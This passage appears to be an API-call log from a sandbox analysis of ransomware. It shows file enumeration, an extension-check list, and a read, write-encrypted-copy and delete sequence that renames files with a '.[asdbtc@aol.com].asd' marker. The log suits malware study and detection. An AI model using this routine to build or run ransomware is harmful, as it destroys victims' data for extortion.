lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.116] lstrlenW (lpString=".doc") returned 4 [0052.116] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString=".docx") returned 5 [0052.116] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0052.116] lstrlenW (lpString=".pdf") returned 4 [0052.116] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString=".xls") returned 4 [0052.116] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString=".xlsx") returned 5 [0052.116] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0052.116] lstrlenW (lpString=".ppt") returned 4 [0052.116] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.116] lstrlenW (lpString=".zip") returned 4 [0052.116] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0052.116] lstrlenW (lpString=".rar") returned 4 [0052.116] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString=".bz2") returned 4 [0052.116] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString=".7z") returned 3 [0052.116] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0052.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.116] lstrlenW (lpString=".dbf") returned 4 [0052.116] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.116] lstrlenW (lpString=".1cd") returned 4 [0052.116] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.116] lstrlenW (lpString=".jpg") returned 4 [0052.116] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0052.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.116] lstrlenW (lpString=".doc") returned 4 [0052.117] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0052.117] lstrlenW (lpString=".docx") returned 5 [0052.117] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0052.117] lstrlenW (lpString=".pdf") returned 4 [0052.117] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0052.117] lstrlenW (lpString=".xls") returned 4 [0052.117] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0052.117] lstrlenW (lpString=".xlsx") returned 5 [0052.117] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0052.117] lstrlenW (lpString=".ppt") returned 4 [0052.117] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0052.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.117] lstrlenW (lpString=".zip") returned 4 [0052.117] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0052.117] lstrlenW (lpString=".rar") returned 4 [0052.117] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0052.117] lstrlenW (lpString=".bz2") returned 4 [0052.117] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0052.117] lstrlenW (lpString=".7z") returned 3 [0052.117] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0052.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.117] lstrlenW (lpString=".dbf") returned 4 [0052.117] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0052.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.118] lstrlenW (lpString=".1cd") returned 4 [0052.118] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0052.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0052.118] lstrlenW (lpString=".jpg") returned 4 [0052.118] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0052.118] lstrcmpiW (lpString1=".TXT", lpString2=".asd") returned 1 [0052.118] lstrlenW (lpString="METCONV.TXT") returned 11 [0052.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.119] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1183416) returned 1 [0052.119] CloseHandle (hObject=0x204) returned 1 [0052.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0052.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.120] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.120] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.120] GetLastError () returned 0x0 [0052.120] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xffff0, lpOverlapped=0x0) returned 1 [0052.286] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0052.306] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0052.611] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0052.618] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0052.618] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.618] SetEndOfFile (hFile=0x1f4) returned 1 [0052.618] CloseHandle (hObject=0x1f4) returned 1 [0052.618] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.618] SetEndOfFile (hFile=0x204) returned 1 [0052.620] CloseHandle (hObject=0x204) returned 1 [0052.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0052.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.621] lstrlenW (lpString=".doc") returned 4 [0052.621] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0052.621] lstrlenW (lpString=".docx") returned 5 [0052.621] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0052.621] lstrlenW (lpString=".pdf") returned 4 [0052.621] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0052.621] lstrlenW (lpString=".xls") returned 4 [0052.621] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0052.621] lstrlenW (lpString=".xlsx") returned 5 [0052.621] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0052.621] lstrlenW (lpString=".ppt") returned 4 [0052.621] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0052.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.621] lstrlenW (lpString=".zip") returned 4 [0052.622] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0052.622] lstrlenW (lpString=".rar") returned 4 [0052.622] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString=".bz2") returned 4 [0052.622] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString=".7z") returned 3 [0052.622] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.622] lstrlenW (lpString=".dbf") returned 4 [0052.622] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.622] lstrlenW (lpString=".1cd") returned 4 [0052.622] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.622] lstrlenW (lpString=".jpg") returned 4 [0052.622] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.622] lstrlenW (lpString=".doc") returned 4 [0052.622] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString=".docx") returned 5 [0052.622] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0052.622] lstrlenW (lpString=".pdf") returned 4 [0052.622] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString=".xls") returned 4 [0052.622] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0052.622] lstrlenW (lpString=".xlsx") returned 5 [0052.622] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0052.622] lstrlenW (lpString=".ppt") returned 4 [0052.622] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0052.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.622] lstrlenW (lpString=".zip") returned 4 [0052.623] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0052.623] lstrlenW (lpString=".rar") returned 4 [0052.623] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0052.623] lstrlenW (lpString=".bz2") returned 4 [0052.623] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0052.623] lstrlenW (lpString=".7z") returned 3 [0052.623] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0052.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.623] lstrlenW (lpString=".dbf") returned 4 [0052.623] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0052.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.623] lstrlenW (lpString=".1cd") returned 4 [0052.623] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0052.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0052.623] lstrlenW (lpString=".jpg") returned 4 [0052.623] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0052.623] lstrcmpiW (lpString1=".htm", lpString2=".asd") returned 1 [0052.623] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0052.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.900] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=237) returned 1 [0052.900] CloseHandle (hObject=0x1dc) returned 1 [0052.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0052.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.921] lstrlenW (lpString=".doc") returned 4 [0052.921] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0052.921] lstrlenW (lpString=".docx") returned 5 [0052.921] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0052.921] lstrlenW (lpString=".pdf") returned 4 [0052.921] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0052.921] lstrlenW (lpString=".xls") returned 4 [0052.921] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0052.921] lstrlenW (lpString=".xlsx") returned 5 [0052.921] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0052.921] lstrlenW (lpString=".ppt") returned 4 [0052.921] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0052.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.921] lstrlenW (lpString=".zip") returned 4 [0052.921] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0052.921] lstrlenW (lpString=".rar") returned 4 [0052.921] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0052.921] lstrlenW (lpString=".bz2") returned 4 [0052.921] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0052.921] lstrlenW (lpString=".7z") returned 3 [0052.921] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0052.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.921] lstrlenW (lpString=".dbf") returned 4 [0052.921] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0052.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.922] lstrlenW (lpString=".1cd") returned 4 [0052.922] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0052.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.922] lstrlenW (lpString=".jpg") returned 4 [0052.922] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0052.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.922] lstrlenW (lpString=".doc") returned 4 [0052.922] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0052.922] lstrlenW (lpString=".docx") returned 5 [0052.922] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0052.922] lstrlenW (lpString=".pdf") returned 4 [0052.922] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0052.922] lstrlenW (lpString=".xls") returned 4 [0052.922] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0052.922] lstrlenW (lpString=".xlsx") returned 5 [0052.922] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0052.922] lstrlenW (lpString=".ppt") returned 4 [0052.922] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0052.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.922] lstrlenW (lpString=".zip") returned 4 [0052.922] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0052.922] lstrlenW (lpString=".rar") returned 4 [0052.922] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0052.922] lstrlenW (lpString=".bz2") returned 4 [0052.922] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0052.922] lstrlenW (lpString=".7z") returned 3 [0052.922] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0052.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.922] lstrlenW (lpString=".dbf") returned 4 [0052.922] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0052.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.922] lstrlenW (lpString=".1cd") returned 4 [0052.923] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0052.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0052.923] lstrlenW (lpString=".jpg") returned 4 [0052.923] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0052.923] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0052.923] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0053.124] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=19780) returned 1 [0053.124] CloseHandle (hObject=0x170) returned 1 [0053.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0053.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0053.124] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.125] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.125] GetLastError () returned 0x0 [0053.125] ReadFile (in: hFile=0x170, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x4d44, lpOverlapped=0x0) returned 1 [0053.225] WriteFile (in: hFile=0x210, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0053.226] ReadFile (in: hFile=0x170, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0053.226] WriteFile (in: hFile=0x210, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.227] SetEndOfFile (hFile=0x210) returned 1 [0053.227] CloseHandle (hObject=0x210) returned 1 [0053.227] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0053.227] SetEndOfFile (hFile=0x170) returned 1 [0053.228] CloseHandle (hObject=0x170) returned 1 [0053.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0053.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.229] lstrlenW (lpString=".doc") returned 4 [0053.229] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.229] lstrlenW (lpString=".docx") returned 5 [0053.229] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.229] lstrlenW (lpString=".pdf") returned 4 [0053.229] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.229] lstrlenW (lpString=".xls") returned 4 [0053.229] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.229] lstrlenW (lpString=".xlsx") returned 5 [0053.229] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.229] lstrlenW (lpString=".ppt") returned 4 [0053.229] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.229] lstrlenW (lpString=".zip") returned 4 [0053.229] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.230] lstrlenW (lpString=".rar") returned 4 [0053.230] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.230] lstrlenW (lpString=".bz2") returned 4 [0053.230] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.230] lstrlenW (lpString=".7z") returned 3 [0053.230] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.230] lstrlenW (lpString=".dbf") returned 4 [0053.230] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.230] lstrlenW (lpString=".1cd") returned 4 [0053.230] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.230] lstrlenW (lpString=".jpg") returned 4 [0053.230] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0053.230] lstrlenW (lpString=".doc") returned 4 [0053.230] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.230] lstrlenW (lpString=".docx") returned 5 [0053.230] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.230] lstrlenW (lpString=".pdf") returned 